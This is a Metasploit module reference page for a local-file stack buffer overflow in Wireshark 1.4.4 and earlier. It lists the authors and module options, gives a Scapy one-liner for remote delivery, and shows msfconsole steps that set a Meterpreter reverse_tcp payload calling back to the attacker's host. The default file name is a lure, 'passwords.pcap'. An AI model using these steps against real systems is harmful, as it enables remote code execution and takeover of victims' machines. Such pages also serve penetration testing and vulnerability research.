Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local) | Metasploit Exploit Database (DB)

Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (local)

This module exploits a stack buffer overflow in Wireshark <= 1.4.4 When opening a malicious .pcap file in Wireshark, a stack buffer occurs, resulting in arbitrary code execution. Note: To exploit the vulnerability remotely with Scapy: sendp(rdpcap("file"))

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Exploit Rank

  • Good

Exploit Authors

  • Paul Makowski < >
  • sickness < >
  • corelanc0d3r < peter.ve [at] corelan.be >

Vulnerability References


Exploit Targets

  • 0 - Win32 Universal (Generic DEP & ASLR Bypass) (default)

Exploit Development


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Exploit Usage Information

$ msfconsole

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msf > use exploit/windows/fileformat/wireshark_packet_dect
msf exploit(wireshark_packet_dect) > show payloads
msf exploit(wireshark_packet_dect) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(wireshark_packet_dect) > set LHOST [MY IP ADDRESS]
msf exploit(wireshark_packet_dect) > exploit


Exploit Module Options

FILENAME pcap file (default: passwords.pcap)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session